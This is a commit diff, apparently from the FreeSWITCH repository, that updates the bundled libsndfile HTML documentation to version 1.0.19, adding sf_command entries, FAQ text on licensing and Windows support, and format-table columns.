+in a closed source or commercial project complies with the license libsndfile is
+released under, the GNU Lesser General Public License (LGPL):
+</p>
+
+<ul>
+<li>Make sure you are linking to libsndfile as a shared library (Linux and Unix
+	systems), Dynamic Link Library (Microsoft Windows) or dynlib (Mac OSX).
+	If you are using some other operating system that doesn't allow dynamically
+	linked libraries, you will not be able to use libsndfile unless you release
+	the source code to your program.
+<li>In the licensing documentation for your program, add a statement that your
+	software depends on libsndfile and that libsndfile is released under the GNU
+	Lesser General Public License, either
+		<a href="http://www.gnu.org/licenses/lgpl-2.1.txt">version 2.1</a>
+	or optionally
+		<a href="http://www.gnu.org/licenses/lgpl.txt">version 3</a>.
+<li>Include the text for both versions of the license, possibly as separate
+	files named libsndfile_lgpl_v2_1.txt and libsndfile_lgpl_v3.txt.
+</ul>
+
+<!-- ========================================================================= -->
+<A NAME="Q022"></A>
+<H2><BR><B>Q22 : What versions of windows does libsndfile work on?
+</B></H2>
+
+<p>
+Currently the precompiled windows binaries are tested in Windows XP.
+As such, they should also work on Win2k and Windows Vista.
+They may also work on earlier versions of windows.
+</p>
+
+<p>
+libsndfile does not yet work on 64 bit versions of windows.
+Support for 64 bit versions of WinXP and Vista is likely to be working some
+time late in 2008.
+</p>
+<!-- ========================================================================= -->
 <HR>
 <P>
 	The libsndfile home page is here :
 		<A HREF="http://www.mega-nerd.com/libsndfile/">
 			http://www.mega-nerd.com/libsndfile/</A>.
 <BR>
-Version : 1.0.13
+Version : 1.0.19
 </P>
 
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch
-  revision control system.
-
-  arch-tag: 508f827d-b9a7-4a86-8c2f-d82321df91f7
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,13 +4,7 @@
 html_DATA = index.html libsndfile.jpg libsndfile.css api.html command.html \
 			bugs.html sndfile_info.html new_file_type.HOWTO pkgconfig.html \
 			win32.html FAQ.html lists.html embedded_files.html octave.html \
-			dither.html
+			dither.html tutorial.html
 
 EXTRA_DIST = $(html_DATA)
 
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch 
-## revision control system.
-##
-## arch-tag: 2f7e97fe-5ef8-49a1-ae12-14ebab69c048
-

Modified: freeswitch/branches/seven/libs/libsndfile/doc/api.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/api.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/api.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -62,7 +62,7 @@
 
       sf_count_t  <A HREF="#seek">sf_seek</A>          (SNDFILE *sndfile, sf_count_t frames, int whence) ;
 
-      int         <A HREF="#command">sf_command</A>       (SNDFILE *sndfile, int cmd, void *data, int datasize) ;
+      int         <A HREF="command.html">sf_command</A>       (SNDFILE *sndfile, int cmd, void *data, int datasize) ;
 
       int         <A HREF="#error">sf_error</A>         (SNDFILE *sndfile) ;
       const char* <A HREF="#error">sf_strerror</A>      (SNDFILE *sndfile) ;
@@ -346,34 +346,6 @@
 or -1 if an error occured (ie an attempt is made to seek beyond the start or end of the file).
 </P>
 
-<A NAME="command"></A>
-<H2><BR><B>Command Interface</B></H2>
-
-<PRE>
-      int  sf_command  (SNDFILE *sndfile, int cmd, void *data, int datasize) ;
-</PRE>
-
-<P>
-This function allows the caller to retrieve information from or change aspects of the
-library behaviour on a per file basis. Examples include reading or writing text descriptions
-to a file or changing the scaling applied to sample data during read and write.
-</P>
-<!-- pepper -->
-<P>
-The cmd parameter is a short null terminated string which specifies which command
-to execute. Data is passed to and returned from the library by use of a void
-pointer. The library will not read or write more than datasize bytes from the void
-pointer. For some calls no data is required in which case data should be NULL and
-datasize may be used for some other purpose.
-</P>
-<P>
-The return value of sf_command () depends on the value of the cmd parameter, but it is
-usually non-zero for success and zero on error.
-</P>
-<P>
-This function is explained more fully <A HREF="command.html">here</A>.
-</P>
-
 <A NAME="error"></A>
 <H2><BR><B>Error Reporting Functions</B></H2>
 
@@ -588,6 +560,10 @@
 </B>
 </P>
 
+<p>
+See also : <a href="command.html#SFC_RAW_NEEDS_ENDSWAP">SFC_RAW_NEEDS_ENDSWAP</a>
+</p>
+
 <A NAME="string"></A>
 <H2><BR><B>Functions for Reading and Writing String Data</B></H2>
 
@@ -684,7 +660,7 @@
 		<A HREF="http://www.mega-nerd.com/libsndfile/">here</A>.
 </P>
 <P>
-Version : 1.0.17
+Version : 1.0.19
 </P>
 <!-- pepper -->
 <!-- pepper -->
@@ -693,11 +669,3 @@
 
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch
-  revision control system.
-
-  arch-tag: f6d3aa8f-983a-4ad3-9681-346e122d815e
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/bugs.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/bugs.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/bugs.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -74,11 +74,3 @@
 </P>
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch
-  revision control system.
-
-  arch-tag: 1533a2ca-489c-4190-b602-ecae1cc992e4
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/command.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/command.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/command.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -95,7 +95,14 @@
 	<TD>Set/clear the scale factor when integer (short/int) data is read from a file
 	containing floating point data.</TD>
 </TR>
+
 <TR>
+	<TD><A HREF="#SFC_SET_SCALE_INT_FLOAT_WRITE">SFC_SET_SCALE_INT_FLOAT_WRITE</A></TD>
+	<TD>Set/clear the scale factor when integer (short/int) data is written to a file
+	as floating point data.</TD>
+</TR>
+
+<TR>
 	<TD><A HREF="#SFC_GET_SIMPLE_FORMAT_COUNT">SFC_GET_SIMPLE_FORMAT_COUNT</A></TD>
 	<TD>Retrieve the number of simple formats supported by libsndfile.</TD>
 </TR>
@@ -168,7 +175,36 @@
 	<TD>Retreive information about audio files embedded inside other files.</TD>
 </TR>
 
+<TR>
+	<TD><A HREF="#SFC_WAVEX_GET_AMBISONIC">SFC_GET_AMBISONIC</A></TD>
+	<TD>Test a WAVEX file for Ambisonic format</TD>
+</TR>
 
+<TR>
+	<TD><A HREF="#SFC_WAVEX_SET_AMBISONIC">SFC_SET_AMBISONIC</A></TD>
+	<TD>Modify a WAVEX header for Ambisonic format</TD>
+</TR>
+
+<TR>
+	<TD><A HREF="#SFC_SET_VBR_ENCODING_QUALITY">SFC_SET_VBR_ENCODING_QUALITY</A></TD>
+	<TD>Set the the Variable Bit Rate encoding quality</TD>
+</TR>
+
+<TR>
+	<TD><A HREF="#SFC_RAW_NEEDS_ENDSWAP">SFC_RAW_NEEDS_ENDSWAP</a></td>
+	<TD>Determine if raw data needs endswapping</TD>
+</TR>
+
+<TR>
+	<TD><A HREF="#SFC_GET_BROADCAST_INFO">SFC_GET_BROADCAST_INFO</A></TD>
+	<TD>Retrieve the Broadcast Chunk info</TD>
+</TR>
+
+<TR>
+	<TD><A HREF="#SFC_SET_BROADCAST_INFO">SFC_SET_BROADCAST_INFO</A></TD>
+	<TD>Set the Broadcast Chunk info</TD>
+</TR>
+
 <!--
 <TR>
 	<TD><A HREF="#add-dither">add dither</A></TD>
@@ -595,6 +631,33 @@
 
 
 <!-- ========================================================================= -->
+<A NAME="SFC_SET_SCALE_INT_FLOAT_WRITE"></A>
+<H2><BR><B>SFC_SET_SCALE_INT_FLOAT_WRITE</B></H2>
+<P>
+Set/clear the scale factor when integer (short/int) data is written to a file
+as floating point data.
+</P>
+<P>
+Parameters:
+</P>
+<PRE>
+        sndfile  : A valid SNDFILE* pointer
+        cmd      : SFC_SET_SCALE_FLOAT_INT_READ
+        data     : NULL
+        datasize : TRUE or FALSE
+</PRE>
+<P>
+Example:
+</P>
+<PRE>
+        sf_command (sndfile, SFC_SET_SCALE_INT_FLOAT_WRITE, NULL, SF_TRUE) ;
+</PRE>
+<DL>
+<DT>Return value: </DT>
+	<DD>Returns the previous SFC_SET_SCALE_INT_FLOAT_WRITE setting for this file.
+</DL>
+
+<!-- ========================================================================= -->
 <A NAME="SFC_GET_SIMPLE_FORMAT_COUNT"></A>
 <H2><BR><B>SFC_GET_SIMPLE_FORMAT_COUNT</B></H2>
 <P>
@@ -1059,7 +1122,7 @@
 </PRE>
 <DL>
 <DT>Return value:</DT>
-	<DD>Zero on sucess, non-zero otherwise.
+	<DD>Zero on success, non-zero otherwise.
 </DL>
 
 <!-- ========================================================================= -->
@@ -1137,7 +1200,7 @@
         datasize : sizeof (SF_EMBED_FILE_INFO)
 </PRE>
 <P>
-The SF_FORMAT_INFO struct is defined in &lt;sndfile.h&gt; as:
+The SF_EMBED_FILE_INFO struct is defined in &lt;sndfile.h&gt; as:
 </P>
 <PRE>
         typedef struct
@@ -1158,24 +1221,188 @@
 
 
 <!-- ========================================================================= -->
+<A NAME="SFC_WAVEX_GET_AMBISONIC"></A>
+<H2><BR><B>SFC_WAVEX_GET_AMBISONIC</B></H2>
+<P>
+Test if the current file has the GUID of a WAVEX file for any of the Ambisonic
+formats.
+</P>
+<P>
+Parameters:
+<PRE>
+        sndfile  : A valid SNDFILE* pointer
+        cmd      : SFC_WAVEX_GET_AMBISONIC
+        data     : NULL
+        datasize : 0
+</PRE>
+<P>
+	The Ambisonic WAVEX formats are defined here :
+		<A HREF="http://dream.cs.bath.ac.uk/researchdev/wave-ex/bformat.html">
+			http://dream.cs.bath.ac.uk/researchdev/wave-ex/bformat.html</A>.
+</P>
+<DL>
+<DT>Return value: </DT>
+	<DD>SF_AMBISONIC_NONE or SF_AMBISONIC_B_FORMAT or zero if the file format 
+		does not support ambisonic formats.
+</DL>
 
+<!-- ========================================================================= -->
+<A NAME="SFC_WAVEX_SET_AMBISONIC"></A>
+<H2><BR><B>SFC_WAVEX_SET_AMBISONIC</B></H2>
+<P>
+Set the GUID of a new WAVEX file to indicate an Ambisonics format.
+</P>
+<P>
+Parameters:
+<PRE>
+        sndfile  : A valid SNDFILE* pointer
+        cmd      : SFC_WAVEX_SET_AMBISONIC
+        data     : NULL
+        datasize : SF_AMBISONIC_NONE or SF_AMBISONIC_B_FORMAT
+</PRE>
+<P>
+Turn on (SF_AMBISONIC_B_FORMAT) or off (SF_AMBISONIC_NONE) encoding.
+This command is currently only supported for files with SF_FORMAT_WAVEX format.
+</P>
+<P>
+	The Ambisonic WAVEX formats are defined here :
+		<A HREF="http://dream.cs.bath.ac.uk/researchdev/wave-ex/bformat.html">
+			http://dream.cs.bath.ac.uk/researchdev/wave-ex/bformat.html</A>.
+</P>
+<DL>
+<DT>Return value: </DT>
+	<DD>Return the ambisonic value that has just been set or zero if the file
+		format does not support ambisonic encoding.
+</DL>
 
+<!-- ========================================================================= -->
+<A NAME="SFC_SET_VBR_ENCODING_QUALITY"></A>
+<H2><BR><B>SFC_SET_VBR_ENCODING_QUALITY</B></H2>
+<P>
+Set the the Variable Bit Rate encoding quality.
+The encoding quality value should be between 0.0 (lowest quality) and 1.0
+(highest quality).
+</P>
+<P>
+Parameters:
+<PRE>
+        sndfile  : A valid SNDFILE* pointer
+        cmd      : SFC_SET_VBR_ENCODING_QUALITY
+        data     : A pointer to a double value
+        datasize : sizeof (double)
+</PRE>
+<P>
+The command must be sent before any audio data is written to the file.
+</P>
+<P>
+</P>
+<DL>
+<DT>Return value: </DT>
+	<DD>Zero on success, non-zero otherwise.
+</DL>
+
+<!-- ========================================================================= -->
+<A NAME="SFC_RAW_NEEDS_ENDSWAP"></A>
+<H2><BR><B>SFC_RAW_NEEDS_ENDSWAP</B></H2>
+<P>
+Determine if raw data read using
+	<a href="api.html#raw">
+	sf_read_raw</a>
+needs to be end swapped on the host CPU.
+</P>
+<P>
+For instance, will return SF_TRUE on when reading WAV containing
+SF_FORMAT_PCM_16 data on a big endian machine and SF_FALSE on a little endian
+machine.
+</P>
+<P>
+Parameters:
+<PRE>
+        sndfile  : A valid SNDFILE* pointer
+        cmd      : SFC_RAW_NEEDS_ENDSWAP
+        data     : NULL
+        datasize : 0
+</PRE>
+
+<DL>
+<DT>Return value: </DT>
+	<DD>SF_TRUE or SF_FALSE
+</DL>
+
+
+<!-- ========================================================================= -->
+<A NAME="SFC_GET_BROADCAST_INFO"></A>
+<H2><BR><B>SFC_GET_BROADCAST_INFO</B></H2>
+<P>
+Retrieve the Broadcast Extention Chunk from WAV (and related) files.
+</P>
+<p>
+Parameters:
+</p>
+<PRE>
+        sndfile  : A valid SNDFILE* pointer
+        cmd      : SFC_GET_BROADCAST_INFO
+        data     : a pointer to an SF_BROADCAST_INFO struct
+        datasize : sizeof (SF_BROADCAST_INFO)
+</PRE>
+<P>
+The SF_BROADCAST_INFO struct is defined in &lt;sndfile.h&gt; as:
+</P>
+<PRE>
+    typedef struct
+    {   char            description [256] ;
+        char            originator [32] ;
+        char            originator_reference [32] ;
+        char            origination_date [10] ;
+        char            origination_time [8] ;
+        unsigned int    time_reference_low ;
+        unsigned int    time_reference_high ;
+        short           version ;
+        char            umid [64] ;
+        char            reserved [190] ;
+        unsigned int    coding_history_size ;
+        char            coding_history [256] ;
+    } SF_BROADCAST_INFO ;
+</PRE>
+
+<DL>
+<DT>Return value: </DT>
+	<DD>SF_TRUE if the file contained a Broadcast Extention chunk or SF_FALSE
+	otherwise.
+</DL>
+
+<!-- ========================================================================= -->
+<A NAME="SFC_SET_BROADCAST_INFO"></A>
+<H2><BR><B>SFC_SET_BROADCAST_INFO</B></H2>
+<P>
+Set the Broadcast Extention Chunk for WAV (and related) files.
+</P>
+<p>
+Parameters:
+</p>
+<PRE>
+        sndfile  : A valid SNDFILE* pointer
+        cmd      : SFC_SET_BROADCAST_INFO
+        data     : a pointer to an SF_BROADCAST_INFO struct
+        datasize : sizeof (SF_BROADCAST_INFO)
+</PRE>
+
+<DL>
+<DT>Return value: </DT>
+	<DD>SF_TRUE if setting the Broadcast Extention chunk was successful and SF_FALSE
+	otherwise.
+</DL>
+<!-- ========================================================================= -->
+
+
 <HR>
 <P>
 	The libsndfile home page is here :
 		<A HREF="http://www.mega-nerd.com/libsndfile/">
 			http://www.mega-nerd.com/libsndfile/</A>.
 <BR>
-Version : 1.0.17
+Version : 1.0.19
 </P>
 
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch
-  revision control system.
-
-  arch-tag: 6ee72f74-0fb3-42b6-a85c-d3331d7145b5
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/dither.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/dither.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/dither.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1009,16 +1009,8 @@
 		<A HREF="http://www.mega-nerd.com/libsndfile/">
 			http://www.mega-nerd.com/libsndfile/</A>.
 <BR>
-Version : 1.0.17
+Version : 1.0.19
 </P>
 
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch 
-  revision control system.
- 
-  arch-tag: e610e74b-9ac0-4255-aff8-97ed229a6a3d
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/embedded_files.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/embedded_files.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/embedded_files.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,18 +37,10 @@
 </UL>
 <!-- pepper -->
 <P>
-The test program <B>multi_file.c</B> in the <B>tests/</B> directory of the
+The test program <B>multi_file_test.c</B> in the <B>tests/</B> directory of the
 source code tarball shows how this functionality is used to read and write
 embedded files.
 </P>
 <!-- pepper -->
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch 
-  revision control system.
- 
-  arch-tag: 25bcfcfc-231d-4c31-bded-e4184bcaa815
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/index.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/index.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/index.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 	libsndfile
 	</TITLE>
 	<META NAME="Author"      CONTENT="Erik de Castro Lopo (erikd AT mega-nerd DOT com)">
-    <META NAME="Version"     CONTENT="libsndfile-1.0.17">
+    <META NAME="Version"     CONTENT="libsndfile-1.0.19">
 	<META NAME="Description" CONTENT="The libsndfile Home Page">
 	<META NAME="Keywords"    CONTENT="WAV AIFF AU SVX PAF NIST W64 libsndfile sound audio dsp Linux">
 	<META NAME="ROBOTS" 	 CONTENT="NOFOLLOW">
@@ -24,19 +24,20 @@
 		<A HREF="#Features">Features</A> -+-
 		<A HREF="#Similar">Similar or Related Projects</A> -+-
 		<A HREF="NEWS">News</A>
-		<BR>
+		<br>
 		<A HREF="development.html">Development</A> -+-
 		<A HREF="api.html">Programming Interface</A> -+-
 		<A HREF="bugs.html">Bug Reporting</A> -+-
 		<A HREF="#Download">Download</A>
-		<BR>
+		<br>
 		<A HREF="FAQ.html">FAQ</A> -+-
 		<A HREF="lists.html">Mailing Lists</A> -+-
 		<A HREF="ChangeLog">Change Log</A> -+-
-		<A HREF="#Licensing">Licensing Information</A>
+		<A HREF="#Licensing">Licensing Information</A> -+-
+		<A HREF="#SeeAlso">See Also</A>
 </CENTER>
 
-<BR><BR>
+<br><br>
 <P>
 	Libsndfile is a C library for reading and writing files containing sampled sound
 	(such as MS Windows WAV and the Apple/SGI AIFF format) through one standard
@@ -73,8 +74,6 @@
 	<LI>mips-sgi-irix5.3 (using gcc)
 	<LI>QNX 6.0
 	<LI>i386-unknown-openbsd2.9
-	<BR>
-	<LI>Win32 (Microsoft Visual C++)
 </UL>
 <!-- pepper -->
 <P>
@@ -117,40 +116,41 @@
 	The file formats are arranged across the top and encodings along the left
 	edge.
 </P>
-<BR>
+<br>
 
 <TABLE BORDER="1" cellpadding="2">
 	<TR><TD>&nbsp;</TD>
-	<TD ALIGN="center">Micro- soft<BR>WAV</TD>
-	<TD ALIGN="center">SGI / Apple<BR>AIFF / AIFC</TD>
-	<TD ALIGN="center">Sun / DEC /<BR>NeXT<BR>AU / SND</TD>
-	<TD ALIGN="center">Header- less<BR>RAW</TD>
-	<TD ALIGN="center">Paris Audio<BR>File<BR>PAF</TD>
-	<TD ALIGN="center">Commo- dore<BR>Amiga<BR>IFF / SVX</TD>
-	<TD ALIGN="center">Sphere<BR>Nist<BR>WAV</TD>
-	<TD ALIGN="center">IRCAM<BR>SF</TD>
-	<TD ALIGN="center">Creative<BR>VOC</TD>
-	<TD ALIGN="center">Sound forge<BR>W64</TD>
-	<TD ALIGN="center"><A HREF="octave.html">GNU Octave 2.0</A><BR>MAT4</TD>
-	<TD ALIGN="center"><A HREF="octave.html">GNU Octave 2.1</A><BR>MAT5</TD>
-	<TD ALIGN="center">Portable Voice Format<BR>PVF</TD>
-	<TD ALIGN="center">Fasttracker 2<BR>XI</TD>
-	<TD ALIGN="center">HMM Tool Kit<BR>HTK</TD>
-	<TD ALIGN="center">Apple<BR>CAF</TD>
-	<!-- TD ALIGN="center">Sound<BR>Designer II<BR>SD2</TD -->
+	<TD ALIGN="center">Micro- soft<br>WAV</TD>
+	<TD ALIGN="center">SGI / Apple<br>AIFF / AIFC</TD>
+	<TD ALIGN="center">Sun / DEC /<br>NeXT<br>AU / SND</TD>
+	<TD ALIGN="center">Header- less<br>RAW</TD>
+	<TD ALIGN="center">Paris Audio<br>File<br>PAF</TD>
+	<TD ALIGN="center">Commo- dore<br>Amiga<br>IFF / SVX</TD>
+	<TD ALIGN="center">Sphere<br>Nist<br>WAV</TD>
+	<TD ALIGN="center">IRCAM<br>SF</TD>
+	<TD ALIGN="center">Creative<br>VOC</TD>
+	<TD ALIGN="center">Sound forge<br>W64</TD>
+	<TD ALIGN="center"><A HREF="octave.html">GNU Octave 2.0</A><br>MAT4</TD>
+	<TD ALIGN="center"><A HREF="octave.html">GNU Octave 2.1</A><br>MAT5</TD>
+	<TD ALIGN="center">Portable Voice Format<br>PVF</TD>
+	<TD ALIGN="center">Fasttracker 2<br>XI</TD>
+	<TD ALIGN="center">HMM Tool Kit<br>HTK</TD>
+	<TD ALIGN="center">Apple<br>CAF</TD>
+	<TD ALIGN="center">Sound<br>Designer II<br>SD2</TD>
+	<TD ALIGN="center">Free Lossless Audio Codec<br>FLAC</TD>
 	</TR>
 <TR><TD>Unsigned 8 bit PCM</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD>
 	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>Signed 8 bit PCM</TD>
 	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>R/W</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 </TR>
 
 <TR><TD>Signed 16 bit PCM</TD>
@@ -158,118 +158,128 @@
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
+	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 </TR>
 
 <TR><TD>Signed 24 bit PCM</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 </TR>
 
 <TR><TD>Signed 32 bit PCM</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>32 bit float</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>64 bit double</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>u-law encoding</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD ALIGN="center">R/W</TD>
+	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 <TR><TD>A-law encoding</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD>
 	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD ALIGN="center">R/W</TD>
+	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>IMA ADPCM</TD>
 	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>MS ADPCM</TD>
 	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>GSM 6.10</TD>
 	<TD ALIGN="center">R/W</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>G721 ADPCM 32kbps</TD>
 	<TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
